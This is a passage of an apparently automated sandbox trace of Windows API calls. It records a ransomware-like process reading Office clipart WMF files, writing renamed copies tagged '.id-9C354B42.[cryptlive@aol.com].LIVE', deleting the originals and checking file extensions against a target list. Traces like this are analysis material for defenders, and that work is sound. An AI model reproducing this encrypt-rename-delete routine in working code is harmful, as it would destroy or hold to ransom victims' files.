hFile=0x328, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2f0, lpOverlapped=0x0) returned 1 [0142.951] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0142.952] WriteFile (in: hFile=0x328, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.952] SetEndOfFile (hFile=0x328) returned 1 [0142.952] CloseHandle (hObject=0x328) returned 1 [0142.952] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.952] SetEndOfFile (hFile=0x394) returned 1 [0142.954] CloseHandle (hObject=0x394) returned 1 [0142.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0142.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.955] lstrlenW (lpString=".doc") returned 4 [0142.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.955] lstrlenW (lpString=".docx") returned 5 [0142.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.955] lstrlenW (lpString=".pdf") returned 4 [0142.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.955] lstrlenW (lpString=".xls") returned 4 [0142.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.955] lstrlenW (lpString=".xlsx") returned 5 [0142.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.956] lstrlenW (lpString=".ppt") returned 4 [0142.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.956] lstrlenW (lpString=".zip") returned 4 [0142.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.956] lstrlenW (lpString=".rar") returned 4 [0142.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString=".bz2") returned 4 [0142.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString=".7z") returned 3 [0142.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.956] lstrlenW (lpString=".dbf") returned 4 [0142.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.956] lstrlenW (lpString=".1cd") returned 4 [0142.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.956] lstrlenW (lpString=".jpg") returned 4 [0142.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.956] lstrlenW (lpString=".doc") returned 4 [0142.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString=".docx") returned 5 [0142.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.956] lstrlenW (lpString=".pdf") returned 4 [0142.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString=".xls") returned 4 [0142.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.956] lstrlenW (lpString=".xlsx") returned 5 [0142.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.956] lstrlenW (lpString=".ppt") returned 4 [0142.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.956] lstrlenW (lpString=".zip") returned 4 [0142.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.957] lstrlenW (lpString=".rar") returned 4 [0142.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.957] lstrlenW (lpString=".bz2") returned 4 [0142.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.957] lstrlenW (lpString=".7z") returned 3 [0142.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.957] lstrlenW (lpString=".dbf") returned 4 [0142.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.957] lstrlenW (lpString=".1cd") returned 4 [0142.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0142.957] lstrlenW (lpString=".jpg") returned 4 [0142.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.957] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.957] lstrlenW (lpString="EN00397_.WMF") returned 12 [0142.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.958] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=17308) returned 1 [0142.958] CloseHandle (hObject=0x394) returned 1 [0142.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0142.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.958] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.958] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0142.959] GetLastError () returned 0x0 [0142.959] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x439c, lpOverlapped=0x0) returned 1 [0142.961] WriteFile (in: hFile=0x328, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x43a0, lpOverlapped=0x0) returned 1 [0142.962] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0142.962] WriteFile (in: hFile=0x328, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.962] SetEndOfFile (hFile=0x328) returned 1 [0142.962] CloseHandle (hObject=0x328) returned 1 [0142.962] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.962] SetEndOfFile (hFile=0x394) returned 1 [0142.965] CloseHandle (hObject=0x394) returned 1 [0142.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0142.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.966] lstrlenW (lpString=".doc") returned 4 [0142.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.966] lstrlenW (lpString=".docx") returned 5 [0142.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.966] lstrlenW (lpString=".pdf") returned 4 [0142.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.966] lstrlenW (lpString=".xls") returned 4 [0142.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.966] lstrlenW (lpString=".xlsx") returned 5 [0142.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.966] lstrlenW (lpString=".ppt") returned 4 [0142.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.966] lstrlenW (lpString=".zip") returned 4 [0142.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.966] lstrlenW (lpString=".rar") returned 4 [0142.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.966] lstrlenW (lpString=".bz2") returned 4 [0142.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.966] lstrlenW (lpString=".7z") returned 3 [0142.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.966] lstrlenW (lpString=".dbf") returned 4 [0142.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.966] lstrlenW (lpString=".1cd") returned 4 [0142.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.966] lstrlenW (lpString=".jpg") returned 4 [0142.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.966] lstrlenW (lpString=".doc") returned 4 [0142.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.967] lstrlenW (lpString=".docx") returned 5 [0142.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.967] lstrlenW (lpString=".pdf") returned 4 [0142.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.967] lstrlenW (lpString=".xls") returned 4 [0142.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.967] lstrlenW (lpString=".xlsx") returned 5 [0142.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.967] lstrlenW (lpString=".ppt") returned 4 [0142.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.967] lstrlenW (lpString=".zip") returned 4 [0142.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.967] lstrlenW (lpString=".rar") returned 4 [0142.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.967] lstrlenW (lpString=".bz2") returned 4 [0142.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.967] lstrlenW (lpString=".7z") returned 3 [0142.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.967] lstrlenW (lpString=".dbf") returned 4 [0142.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.967] lstrlenW (lpString=".1cd") returned 4 [0142.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0142.967] lstrlenW (lpString=".jpg") returned 4 [0142.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.967] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.967] lstrlenW (lpString="EN00902_.WMF") returned 12 [0142.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.968] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=7944) returned 1 [0142.968] CloseHandle (hObject=0x394) returned 1 [0142.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0142.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.969] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.969] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0142.970] GetLastError () returned 0x0 [0142.970] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1f08, lpOverlapped=0x0) returned 1 [0143.303] WriteFile (in: hFile=0x328, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0143.304] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.304] WriteFile (in: hFile=0x328, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.304] SetEndOfFile (hFile=0x328) returned 1 [0143.304] CloseHandle (hObject=0x328) returned 1 [0143.304] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.304] SetEndOfFile (hFile=0x394) returned 1 [0143.307] CloseHandle (hObject=0x394) returned 1 [0143.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.343] lstrlenW (lpString=".doc") returned 4 [0143.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.343] lstrlenW (lpString=".docx") returned 5 [0143.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.343] lstrlenW (lpString=".pdf") returned 4 [0143.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.343] lstrlenW (lpString=".xls") returned 4 [0143.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.343] lstrlenW (lpString=".xlsx") returned 5 [0143.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.343] lstrlenW (lpString=".ppt") returned 4 [0143.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.343] lstrlenW (lpString=".zip") returned 4 [0143.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.343] lstrlenW (lpString=".rar") returned 4 [0143.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.343] lstrlenW (lpString=".bz2") returned 4 [0143.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.343] lstrlenW (lpString=".7z") returned 3 [0143.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.343] lstrlenW (lpString=".dbf") returned 4 [0143.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.343] lstrlenW (lpString=".1cd") returned 4 [0143.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.344] lstrlenW (lpString=".jpg") returned 4 [0143.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.344] lstrlenW (lpString=".doc") returned 4 [0143.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString=".docx") returned 5 [0143.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.344] lstrlenW (lpString=".pdf") returned 4 [0143.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString=".xls") returned 4 [0143.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.344] lstrlenW (lpString=".xlsx") returned 5 [0143.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.344] lstrlenW (lpString=".ppt") returned 4 [0143.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.344] lstrlenW (lpString=".zip") returned 4 [0143.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.344] lstrlenW (lpString=".rar") returned 4 [0143.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString=".bz2") returned 4 [0143.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString=".7z") returned 3 [0143.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.344] lstrlenW (lpString=".dbf") returned 4 [0143.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.344] lstrlenW (lpString=".1cd") returned 4 [0143.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0143.344] lstrlenW (lpString=".jpg") returned 4 [0143.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.345] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.345] lstrlenW (lpString="FD00296_.WMF") returned 12 [0143.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0143.345] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=15856) returned 1 [0143.345] CloseHandle (hObject=0x39c) returned 1 [0143.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0143.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0143.346] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.346] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.346] GetLastError () returned 0x0 [0143.346] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3df0, lpOverlapped=0x0) returned 1 [0143.365] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3e00, lpOverlapped=0x0) returned 1 [0143.366] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.366] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, 